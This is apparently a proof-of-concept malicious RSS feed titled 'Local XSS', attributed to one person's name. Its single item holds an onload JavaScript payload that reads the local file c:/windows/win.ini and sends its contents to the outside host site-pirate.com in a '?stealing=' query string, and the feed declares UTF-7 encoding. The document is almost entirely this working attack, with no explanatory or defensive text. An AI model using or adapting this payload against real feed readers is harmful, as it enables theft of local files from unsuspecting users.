Nicolas Kerschenbaum

<?xml version="1.0" encoding="UTF-7"?>
<rss version="2.0"
    xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:wfw="http://wellformedweb.org/CommentAPI/"
    xmlns:dc="http://purl.org/dc/elements/1.1/"
    >

<channel>
    <title>Local XSS</title>
    <link>http://site-pirate.com</link>
    <description>Desc</description>
        <item>
        <title>Local XSS</title>
            <content:encoded><![CDATA[
            <body onload="javascript:var req;req = new XMLHttpRequest();req.onreadystatechange = processReqChange;
            req.open('GET', 'file:///c:/windows/win.ini', true);req.send('');function processReqChange()
            {if (req.readyState == 4) {var source = 'http://www.site-pirate.com/?stealing='; new Image().src=source.concat(req.responseText); }}"
            <onload=""
            ]]>
            </content:encoded>
        </item>
    </channel>
</rss>